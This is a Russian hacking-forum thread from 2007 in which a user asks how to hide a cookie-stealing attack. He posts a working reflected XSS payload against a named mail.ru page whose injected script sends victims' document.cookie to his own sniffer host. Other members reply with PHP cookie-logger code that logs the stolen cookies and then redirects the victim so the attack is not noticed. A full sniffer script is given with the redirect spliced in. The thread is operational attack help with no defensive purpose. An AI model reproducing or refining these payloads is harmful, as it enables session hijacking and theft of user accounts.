Как сделать редирект. Или что еще можно придумать?

Discussion in 'Песочница' started by Alloc, 13 Aug 2007.

  1. Alloc

    Alloc New Member

    Joined:
    12 Aug 2007
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Доброго всем времени суток!
    Помогите пожалуйста разобраться... Я много читал статей, постов на этом форуме про XSS уязвимости и решил попробовать... вроде как все получается... Я создал страничку на народ.ру (index.html) со следующим содержимым:

    Code:
    <script>
    document.location.href="http://content.mail.ru/cgi-bin/forgot.cgi?&email=<script src=http://MySite.narod.ru/js.js>";
    </script>
    
    // Кстати уязвимость уже закрыта... но дело не в этом

    А в скрипте (Js.js) я пишу следущее:

    Code:
    img=new Image();img.src="http://www.s.netsec.ru/alloc.gif?"+document.cookie;
    
    Все работает... НО!
    При нажатии на ядовитую ссылку, естественно открывается та страничка где есть уязвимость... тоесть:

    Code:
    http://content.mail.ru/cgi-bin/forgot.cgi?&email=
    
    И у меня такой вопрос...: Как сделать так чтоб кукисы варовались и после чего шел какойнибудь редирект например на другой сайт... чтоб пользователь не видел той странички на которой XSS? Просто так все очень паленна... Возможно такое? И как это осуществить? Надеюсь на вашу помощь уважаемые Хакеры!
     
  2. Alloc

    Alloc New Member

    Joined:
    12 Aug 2007
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    ettee, спасибо большое! Но что-то не получается... хотя вроде должно... Редирект происходит... а вот кукис не приходят...
    Я делаю так:

    Code:
    <script>
    document.location.href="http://content.mail.ru/cgi-bin/forgot.cgi?&email=<script src=http://MySite.narod.ru/js.js>";
    document.location.replace('http://www.google.com');
    </script>
    
    Может быть я не туда это вписал? Подскажите плиз.
     
  3. n-000

    n-000 Elder - Старейшина

    Joined:
    25 Oct 2006
    Messages:
    90
    Likes Received:
    36
    Reputations:
    5
    Куки не приходят потому что скрипт не успевает сработать и перекидывает юзверя на другую пагу, поэтому редирект нужно добавить в JS.js.
    Чтобы после того как скрипт снифа сработает шла переадресация.
     
  4. nbd

    nbd Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    81
    Likes Received:
    26
    Reputations:
    3
    поставь редирект в снифере, тоесть куки приходят на снифер, записываются в лог, а затем снифер пинает юзера дальше.

    Что-то типа:
    PHP:
    <?php
    Error_Reporting
    (E_ALL & ~E_NOTICE);
    $cookie $HTTP_GET_VARS["cookie"];
    $file fopen('cookielog.txt''a');
    fwrite($file$cookie "\n\n");
    $url='http://ya.ru';
    header("Location: $url");
    ?>
    Скрипт не проверял, но впринципе должно работать.
     
    #4 nbd, 13 Aug 2007
    Last edited: 13 Aug 2007
    1 person likes this.
  5. Alloc

    Alloc New Member

    Joined:
    12 Aug 2007
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Всем большое спасибо за помощь! Все вроде работает... конечно всеравно не так как я хотел...Страничка с Xss видна... но потом идет редирект... Так намного лучше.
    Всем спасибо за помощь! ;)
     
  6. Alloc

    Alloc New Member

    Joined:
    12 Aug 2007
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Что-то не получается у меня... Я вставил в скрипт js.js редирект - document.location.replace('http://www.google.com');... но он не всегда срабатывает... не знаю почему...

    Пробовал добавлять следующую строку в снифер (s.gif... в конец скрипта...)... но все равно не получается...

    PHP:
    $url='http://ya.ru'
    header("Location: $url"); 
    Я PHP не понимаю... Подскажите пожалуйста, уважаемые форумчане как именно осуществить Редирект в PHP... Вот сам скрипт снифера:

    PHP:
    <?
    define("FILE""s.gif");

    require 
    "config.php";
    require 
    "functions.php";

    cleaner();

    $sniffed['date'] = date("d.m.Y H:i");
    $sniffed['ip'] = $_SERVER['REMOTE_ADDR'];
    $sniffed['referer'] = htmlspecialchars(stripslashes($_SERVER['HTTP_REFERER']));
    $sniffed['query'] = htmlspecialchars(stripslashes(urldecode($_SERVER['QUERY_STRING'])));
    $sniffed['agent'] = htmlspecialchars($_SERVER['HTTP_USER_AGENT']);
    $sniffed['real_ip'] = htmlspecialchars($_SERVER['HTTP_X_FORWARDED_FOR']);

    if (!
    preg_match("/^https?:\/\//i"$sniffed['referer'])) $sniffed['referer'] = "";

    $data = array();
    $data_content get_file_content($data_filename);
    if (
    $data_content !== NULL$data unserialize($data_content);
    $entrie serialize($sniffed);
    $data[] = $entrie;
    $data_content serialize($data);
    put_file_content($data_filename$data_content);

    show_image();
    ?>
    Буду очень благодарен за помощь!
    Заранее спасибо!
     
  7. or1

    or1 Banned

    Joined:
    7 Sep 2008
    Messages:
    36
    Likes Received:
    4
    Reputations:
    0


    эту строку не надо в конец ставить а нaдо сюда ставить если помог ставь+

    смотри весь код
    обазначил спецально красным


    <?
    define("FILE", "s.gif");

    require "config.php";
    require "functions.php";

    cleaner();

    $sniffed['date'] = date("d.m.Y H:i");
    $sniffed['ip'] = $_SERVER['REMOTE_ADDR'];
    $sniffed['referer'] = htmlspecialchars(stripslashes($_SERVER['HTTP_REFERER']));
    $sniffed['query'] = htmlspecialchars(stripslashes(urldecode($_SERVER['QUERY_STRING'])));
    $sniffed['agent'] = htmlspecialchars($_SERVER['HTTP_USER_AGENT']);
    $sniffed['real_ip'] = htmlspecialchars($_SERVER['HTTP_X_FORWARDED_FOR']);
    $url='http://xaker.ru';header("Location: $url");

    if (!preg_match("/^https?:\/\//i", $sniffed['referer'])) $sniffed['referer'] = "";

    $data = array();
    $data_content = get_file_content($data_filename);
    if ($data_content !== NULL) $data = unserialize($data_content);
    $entrie = serialize($sniffed);
    $data[] = $entrie;
    $data_content = serialize($data);
    put_file_content($data_filename, $data_content);

    show_image();
    ?>